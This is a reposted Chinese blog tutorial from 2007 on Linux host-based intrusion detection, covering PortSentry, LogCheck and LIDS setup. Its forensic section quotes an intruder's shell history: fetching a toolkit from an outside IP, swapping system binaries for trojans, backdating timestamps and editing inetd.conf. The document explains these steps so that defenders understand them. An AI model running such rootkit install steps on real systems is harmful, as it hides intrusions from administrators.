Linux入侵檢測(轉)

ba發表於2007-08-12
Linux入侵檢測(轉)[@more@]簡介

這篇文章主要是關於適用於Linux的幾種基於主機的入侵檢測系統。特別的,我們將會覆
蓋一些怎麼安裝這些軟體包的要素,已經它們的用處和什麼時候能夠用到這些東西。

系統安全101

本文將為大家展示一些基礎的系統安全知識。特別的,我假設很多常見的安全措施已經
被用來抵抗來自Internet對主機的入侵。這些安全措施主要是:
防火牆,確定了系統的來自Internet的使用者對哪些TCP或者UDP埠有訪問的許可權。例如
:我們透過一些很簡單的Web Server防火牆的規則設定,就可以確定這臺機器只有用來
提供http服務的80埠向使用者開放。
系統是不需要沒有用處的守護程式的。例如:一個Web伺服器一般只需要一個正在執行的
程式來服務Web頁面。程式並不是就是和服務與Web頁面相關聯的,譬如RPC/Portmap服務
,NFS服務,X Font服務,DNS域名服務,其他外來的或者是沒有什麼用處的應用軟體應
該被關掉或者是禁用。在Red Hat Linux的系統中,通常我們用一種執行等級的編輯器來
進行有關的設定,譬如我們可以用ntsysv 或者tksysv來禁用其中的那些沒有要求的守護
程式。
透過編輯和修改/etc/inetd.conf可以遮蔽一些不用的埠。作為一個典型的預設值,我
們安裝一個新的Linux系統的時候,/etc/inetd.conf預設的開啟了很多埠。所有的系
統都應該透過編輯/etc/inetd.conf,刪除或者是註釋掉其中的一些行,用來禁用那些沒
有用處的埠,這是最基本的系統安全行為。

警戒線(Lines of Defense):
圖解一、多層系統安全
這一部分,我們將討論一個多層通道的系統安全問題。當其中一些安全層被破壞的時候
,很多安全層能夠獨立的應用來提供一些額外的防衛。圖1就是一種多層結構的系統安全
模型。
圖表中的每一層都會為自己的上一層提供額外的資料保護。例如:第一層是防火牆,如
果防火牆沒有阻擋住外界的入侵嘗試,那麼第二層-埠守護程式就會提供額外的保護。
進一步,裡面的安全系統是LIDS和LogCheck程式,在入侵嘗試沒有被第二層截獲的時候
也會進行保護。

監控當前連線

防火牆後的第一防護層是用來監控當前與主機的連線嘗試的軟體包。埠守護程式包(
http://www.psionic.com/abacus/portsentry/ )提供了一些簡潔和有用方式來完成這些
事情。

埠守護(PortSentry)程式的作用

埠守護程式的主要作用監控一些特殊的TCP/IP埠的活動情況。PortSentry監視並報
告一些埠的活動,其中的一種情況可能被選中,包括拒絕進一步的連線嘗試。這是一
種很重要的防護措施,因為一般的駭客在入侵一個系統之前都會將會使用一些工具來探
測系統的漏洞和弱點。察覺到探測器或者是埠掃描,就可以徹底的切斷一些潛在地黑
客進一步的連線嘗試,中止一些帶有入侵意圖的進一步的埠掃描。
安裝PortSentry
對於Red Hat的使用者來說,Red Hat的ftp伺服器上的RPM包裡面包含了這個程式。這個站
點在全球都有它的映象,你可以在上面查詢距離你最近的站點。我還不
能確定.deb格式的軟體包中間是PortSentry這樣的程式,但是我可以確認那裡肯定是有
這個軟體的。對於其他Linux使用者來說,透過原碼來安裝這個軟體也是相當地簡單的。

推薦配置

PortSentry有很多執行模式,包括不同的UDP和TCP秘密執行的模式。我選擇的執行機制
是把PortSentry繫結在那些沒有被使用的或者是認為有潛在的入侵可能的TCP埠上。例
如:我將24小時連續的掃描我的web伺服器上面的這些埠,port 143 (imap2), port
111 (portmap) 和port 23 (telnet)都是我的Internet系統上沒有使用的TCP埠。你可
以透過這條命令:
portsentry -tcp
在你的系統啟動的時候就使PortSentry進入基本的TCP執行模式。同時要保證PortSentr
y的配置檔案portsentry.conf中包含了TCP_PORTS這行配置來掃描你需要進行掃描的埠


反應選項

你能透過portsentry.conf中的"Response Options"部分來詳細的說明什麼樣的反應是P
ortSentry察覺了一些不期望的連線。通常我會使用ipchains來中斷那些來自於連線的源
方的進一步連線。這個也可以透過portsentry.conf中下面這樣一行來進行配置:
KILL_ROUTE="/sbin/ipchains -I input -s $TARGET$ -j DENY -l"
在接受來自高階口的掃描行為的時候,可以透過刪除上面一行中的-l這個選項來遮蔽這
些進一步的連線,可以有效的維持系統日誌空間。

監視系統日誌

諸如防火牆系統、PortSentry這樣的軟體可以有效的監視或者是遮蔽一些埠的不期望
的連線。這樣可以防止最典型的那種"掃描-入侵"的攻擊方式。
當系統需要執行特殊的服務(例如:Apache Web Server,或者是繫結了一個DNS服務)
的時候,同時有駭客破解了這種服務中的一些攻擊點,這些程式就會很不幸運的不能保
持把所有的入侵者拒之門外。繫結執行著一個容易受攻擊的程式的DNS伺服器,這些埠
最終總是要被一些駭客透過掃描很廣範圍的機器的特定的一個埠,並且會試圖透過這
個埠來入侵系統。很不幸,防火牆或者是PortSentry程式會將這些入侵嘗試當作正常
的合理的連線。

系統日誌檢測(LogCheck)

LogCheck是用來掃描系統日誌檔案的軟體(http://www.psionic.com/abacus/logcheck
/ )。LogCheck會掃描系統日誌檔案(在Linux系統中,系統日誌檔案在/var/log/目錄下
面),同時當系統出現一些異常的時候,LogCheck就會透過Email來通報給管理員。系統
日誌檔案中的異常的訊息通常是表示有一些駭客正在嘗試入侵或者是正在侵入系統。

安裝LogCheck

LogCheck有四個主要的配置檔案。在RPM版本中,這幾個配置檔案在/etc/logcheck目錄
下面。通常我們只需要配置logcheck.ignore和logcheck.violations.ignore這兩個檔案
。我在安裝完LogCheck後的程式一般是這樣的:
允許LogCheck在正常的執行模式下面執行一次,這樣將會一個巨大的輸出檔案,不過我
們可以把這個檔案刪除算了。
24小時以後讓LogCheck再次執行一次,這次我們會在日誌檔案的入口處中發現產生了一
些新的東西,同時也是一個很大的但是仍然可以計算大小的檔案。仔細的閱讀這個檔案

在檔案的入口處有一些不需要我們關心的特定的字串,如果這些字串時一些"違反安
全"的片斷,我們可以將這些字串片斷加入到logcheck.violations.ignore檔案中;或
者當他們是"異常系統事件"的時候,我們就將這些字串加到logcheck.ignore中。
在摺椅歌星期中,每隔12~24小時就重複一下這些步驟。在這個階段中,我們反覆的設定
.ignore檔案的過濾規則,最後剩下的就是我們的系統真正關心的了。
注意到RPM檔案指定LogCheck每小時執行一次,但是我只需要每天執行一次,除非是在特
定的需要監視的系統。這樣可以每天把/etc/cron.hourly/logcheck這個檔案複製到/et
c/cron中一次。

基於核心的入侵檢測

基於核心的入侵檢測是一種相當巧妙的新型的Linux入侵檢測系統。現在最主要的基於內
核的入侵檢測系統叫做LIDS,並可以從 下載。

什麼是LIDS?

LIDS是一種基於Linux核心的入侵檢測和預防系統。
LIDS的保護目的是防止超級使用者root的篡改系統重要部分的。LIDS主要的特點是提高系
統的安全性,防止直接的埠連線或者是儲存器連線,防止原始磁碟的使用,同時還要
保護系統日誌檔案。LIDS當然也會適當制止一些特定的系統操作,譬如:安裝sniffer、
修改防火牆的配置檔案。

LIDS文件工程

LIDS比安裝PortSentry和LogCheck要複雜一點,但是很幸運的是,在LIDS的主頁上面有
詳細的安裝和配置手冊。

安裝LIDS

首先,在安裝之前,我們需要大部分最新的LIDS軟體包(我使用的是0.9)和適當的核心
版本。我現在使用的是從Red Hat主頁上下載的2.2.14-12版本的核心,因為其中包含一
些安全補丁。同時你也需要你使用的核心的一些原始碼。
現在的LIDS主要是適用於2.2.14版本的核心。我安裝的在2.2.14的核心的Red Hat Linu
x6.2上面安裝了LIDS。在安裝LIDS之前,我在ftp.redhat.com下載了最新的核心版本,
並且依照
de.html 安裝了這個核心。
接著的事情就是升級核心原始碼。這裡我們是這樣做的:
rpm -Uhv kernel-source-2.2.14-12.i386.rpm
然後就是編譯和安裝lidsadm這個程式:
cd /usr/local/src/security/lids-0.9/lidsadm-0.9
make
make install
生成一個RipeMD-160口令,這個以後將會在安裝進核心的:
lidsadm -P
輸入口令是"anypass",得到秘鑰"d502d92bfead11d1ef17887c9db07a78108859e8"。
接著,我把Redhat的配置檔案複製到我的結構體系中,在/usr/src/linux目錄下面:
cd /usr/src/linux/configs/
cp kernel-2.2.12-i686.config ..
下面我們就使用下面的命令來安裝LIDS:
cd /usr/src
patch -p0 同時我們應該注意到Red Hat所提供的核心和Linus釋出的標準的2.2.14版本的核心有一
些細微的差別,因為其中包含一些修改過的驅動程式。同樣lids-0.9-2.2.14-redhat.p
atch檔案也是和LIDS釋出的標準的lids-0.9-2.2.14.patch有一些細微的差別,不過可能
後者並不是特別適合於Red Hat系統。
最後,就是配置、編譯和安裝核心了:
cd /usr/src/linux
make menuconfig
make dep; make clean
make
install; make modules; make modules_install
下面的指令碼展示了在配置核心的過程中我設定的LIDS配置選項:
  • Linux Intrusion Detection System support (EXPERIMENTAL)
    --- LIDS features
    [ ] Hang up console when raising a securit alert
  • Security alert when execing unprotected programs before sealing
    [ ] Do not execute unprotected programs before sealing LIDS
  • Enable init children lock feature
  • Try not to flood logs
    (60) Authorised time between two identic logs (seconds)
  • Allow switching LIDS protections
    RipeMD-160 encrypted password: d502d92bfead11d1ef17887c9db07a78108859e8
    (3) Number of attempts to submit password
    (3) Time to wait after a fail (seconds)
  • Allow remote users to switch LIDS protections
    [ ] Allow any program to switch LIDS protections
  • Allow reloading config. file
    [ ] Hide some known processes
  • Port Scanner Detector in kernel
    [ ] Send security alerts through network
    --- Special authorizations
    [ ] Allow some known processes to access /dev/mem (xfree, etc.)
    [ ] Allow some known processes to access raw disk devices
    [ ] Allow some known processes to access io ports
    [ ] Allow some known processes to change routes
    --- Special UPS
  • Allow some known processes to unmount devices
    Allowed processes: "/etc/rc.d/init.d/halt;/etc/rc.d/init.d/netfs"
  • Unmounting capability is inherited
  • Allow some known processes to kill init children
    Allowed processes: "/etc/rc.d/init.d/halt"
  • Killing capability is inherited
    看得出,我沒有使用UPS,同時執行的是一個需要能夠遠端訪問的伺服器,我就按照上面
    的檔案進行了配置,但是在實際應用過程中,每個人的系統根據環境不一樣,會有一些
    差別。

    配置LIDS:

    有一條特別要引起注意:在你的系統的下一次重啟之前就應該配置好LIDS!
    我們應該使用lidsam來配置LIDS的配置檔案/etc/lids.conf,而不能手動的修改。執行
    "lidsadm -h"可以獲得一些關於如何使用lidsadm這個程式的幫助。LIDS提供了很多使用
    LIDS保護檔案的例子,例如:
    lidsadm -A -r /sbin 這條命令保護/sbin整個目錄,並且表示只讀。
    我首先的LIDS配置檔案應該是這樣的:
    lidsadm -Z
    lidsadm -A -r /usr/bin
    lidsadm -A -r /bin
    lidsadm -A -r /usr/sbin
    lidsadm -A -r /sbin
    lidsadm -A -r /usr/X11R6/bin
    lidsadm -A -r /etc/rc.d
    lidsadm -A -r /etc/sysconfig
    一旦配置了LIDS的配置檔案,就應該修改系統的啟動檔案保證在系統啟動的時候就能運
    行LIDS,這樣就能有效的在核心中啟動LIDS的作用。一般我都是把lidsadm加到/etc/rc
    .d/rc.local的末尾,這樣能夠保證LIDS的功能不會妨礙系統的其他應用程式的正常啟動
    。下面就是我加在/etc/rc/d/rc.local中用來啟動LIDS的指令碼:
    /sbin/lidsadm -I -- -CAP_SYS_MODULE -CAP_SYS_RAWIO -CAP_SYS_ADMIN
    -CAP_SYS_PTRACE -CAP_NET_ADMIN -CAP_LINUX_IMMUTABLE
    +INIT_CHILDREN_LOCK

    配置lilo

    我們知道,使用Redhat的RPMS升級系統核心以後需要重新配置lilo.conf來保證編譯載入
    過LIDS的新核心能夠正常的啟動。在下次重啟之後,LIDS將會在系統中執行,不過如果
    你需要停止LIDS而執行一些系統的任務,就應該按照下面的命令進行:
    /sbin/lidsadm -S -- -LIDS或者/sbin/lidsadm -S -- -LIDS_GLOBAL
    你需要提供LIDS的口令,當時在編譯核心的時候在核心中加入了RipeMD-160格式。
    不知道你是否注意到了,在shutdown的指令碼中,很多指令碼都不能正常的工作。最終的sh
    utdown指令碼/etc/rc.d/init.d/halt將會停止所有的程式和解除安裝檔案系統。由於在檔案r
    c.local中 "+INIT_CHILDREN_LOCK"的保護作用,其他的程式都沒有許可權來殺掉init()的
    其他子程式。同時每隔10分鐘,你就會收到一個關於"rmmod as"不能解除安裝模組的出錯信
    息。這個主要是由於LIDS啟動以後"-CAP_SYS_MODULE"的保護使得模組的插入或者解除安裝出
    現了毛病。我們可以刪除/etc/cron.d/kmod這個檔案來防止出錯資訊繼續發生。

    LIDS能夠保護什麼?

    快速的瀏覽LIDS的文件就可以瞭解LIDS的一系列特性。而我認為下面的這些特性是最重
    要的:
    CAP_LINUX_IMMUTABLE 當檔案和外那間系統被標識"immutable"防止被寫;
    CAP_NET_ADMIN 防止篡改網路配置(例如:防止路由表被修改);
    CAP_SYS_MODULE 防止核心模組被插入或者移除;
    CAP_SYS_RAWIO 防止損壞磁碟或者裝置I/O;
    CAP_SYS_ADMIN 防止大範圍的使用其他系統功能;
    INIT_CHILDREN_LOCK which prevents child processes of the init() master pro
    cess from being tampered with.
    無論在哪個點,上面這些特性都能夠透過命令"lidsadm -I"來啟動,透過"lidsadm -S"
    來禁用(可以允許真正的系統管理員來進行系統配置),同時提供已經安裝在核心中的
    LIDS口令(是透過RipeMD-160加密的)。

    剖析一次入侵

    最近我一直忙於檢查一些被黑過的機器,來推斷一些被入侵的原因還有核實駭客對系統
    破壞。很幸運,一些駭客不是特別的聰明,在入侵一些系統之後沒有設法徹底的抹掉痕
    跡。當駭客把一些系統守護程式的緩衝區溢位以後就可以獲得root許可權,這個時候就是
    主機被入侵了(事實上是不可能發生的,但是安裝Linux系統的人忘記了打上RedHat最新
    的關於緩衝區溢位的補丁程式,並且讓系統一直執行著)。當然一些駭客也不夠小心,
    當他們侵入主機後,很急切的獲得了shell,但是他們經常沒有考慮到BASH的命令將會被
    存入系統日誌檔案中,簡單的閱讀/.bash_history就可以瞭解駭客到底怎麼機器上面作
    了一些什麼事情。這個檔案我們可以看看(為了更加簡單我們做過一些細微的修改):

    mkdir /usr/lib/... ; cd /usr/lib/...
    ftp 200.192.58.201 21
    cd /usr/lib/...
    mv netstat.gz? netstat.gz; mv ps.gz? ps.gz; mv pstree.gz? pstree.gz;
    mv pt07.gz? pt07.gz; mv slice2.gz? slice2.gz; mv syslogd.gz? syslogd.gz;
    mv tcpd.gz? tcpd.gz
    gzip -d *
    chmod +x *
    mv netstat /bin ; mv ps /bin ; mv tcpd /usr/sbin/; mv syslogd /usr/sbin;
    mv pt07 /usr/lib/; mv pstree /usr/bin ;
    /usr/lib/pt07
    touch -t 199910122110 /usr/lib/pt07
    touch -t 199910122110 /usr/sbin/syslogd
    touch -t 199910122110 /usr/sbin/tcpd
    touch -t 199910122110 /bin/ps
    touch -t 199910122110 /bin/netstat
    touch -t 199910122110 /usr/bin/pstree
    cat /etc/inetd.conf | grep -v 15678 >> /tmp/b
    mv /tmp/b /etc/inetd.conf
    killall -HUP inetd
    通讀這些內容,我們就可以瞭解下面的一些動作:
    系統中建立了一個名字異常的目錄(/usr/lib),接著駭客telnet到了自己的主機上面
    (200.192.58.201,是Brazil某個地方的撥號使用者),同時下載了一套駭客工具。這些
    駭客工具屍沒有經過壓縮的,中間的一些特洛伊二進位制程式被安裝到了系統中了,這些
    特洛亦程式覆蓋了系統的netstat,ps, tcpd, syslogd和pstree命令。這些程式是用
    來報告系統有那些程式正在執行,那些埠是開啟的。

    我們從中能學到什麼呢?

    首先,LIDS是不能阻止一次入侵的,駭客連線上主機透過緩衝區溢位的方式獲得系統的
    root許可權。
    一旦系統沒有駭客入侵,我們看看LIDS是如何使破壞降到最低的:
    LIDS透過CAP_LINUX_IMMUTABLE選項可以防止特洛亦程式被寫入到/bin,/usr/bin, /u
    sr/sbin和/usr/lib目錄中。這些目錄我們一般都會標識為不可變的(chattr +i),因
    而也不會被修改。我們可以注意到,就算不使用LIDS,也可以透過chattr +I命令來標識
    目錄為不可變的,但是如果是透過LIDS以後,即使是root也不能篡改不可變標識位。類
    似的,如果檔案透過chattr +I被標識為,touck -t這個命令也會失敗。甚至第一行的"
    mkdir /etc/lib"這個命令也會失敗,如果我們標識檔案為不可讀的話。
    LIDS不能防止駭客入侵,但是可以防止入侵的駭客在侵入後進行很大的系統破壞。一個
    後門程式可以被安裝上系統,但是沒有特洛亦版本的ps,netstat和pstree能夠很早的發
    現這個後門程式,然後kill之。如果沒有LIDS,我們不可能知道駭客透過這個後門程式
    會做一些什麼事情,我們唯一能夠進行挽回的工作就是重灌系統。

    OpenWall和LIDS:額外的層

    另外一個和LIDS相似的系統是OpenWall工程( )。Op
    enWall工程在很多地方和LIDS不一樣,有一個OpenWall的特別的補丁就是使棧區為不可
    執行。下面是摘自OpenWall的README文件裡面的申明:
    大多數緩衝區溢位攻擊都是基於覆蓋一些隨意的程式片段中的函式返回值在堆疊中的地
    址,如果堆疊為不可執行,那麼緩衝區溢位的弱點將會變得很難攻擊。另外一種緩衝區
    溢位的方式是在libc中指出一個函式的返回地址,通常是system()。這個補丁透過修改
    mmap()化的共享庫,使其總是一個零位元組的檔案。這樣使其不能再指定一些資料,在很
    多攻擊中不得不使用ASCIIZ字串。
    最近,在LIDS的網上上有一些完整的LIDS+OpenWall的核心補丁,這樣可以提供LIDS和
    OpenWall都具備的特性。

    總結

    在Linux系統中,透過使用這一系列的多層的安全措施,可以防止很大範圍的攻擊,同時
    還可以防止入侵或者篡改。系統被駭客入侵口就是網路介面,在網路介面,系統核心上
    我們都可以防止他人的入侵。
    意識到系統中的一些潛在的安全漏洞。任何執行在系統上的守護程式或者服務,不管是
    root使用者還是非root使用者執行的,都能夠成為一個潛在的安全威脅。充分準備好面對這
    些威脅
    *******************************************************************************
    此檔案是從,網上轉載的,大家在學習與使用過程中,大家要注意,備份重要的資料,小心在使用學習過程中,出現問題或錯誤,讓大家損失。
  • 來自 “ ITPUB部落格 ” ,連結:http://blog.itpub.net/10617731/viewspace-950683/,如需轉載,請註明出處,否則將追究法律責任。

    相關文章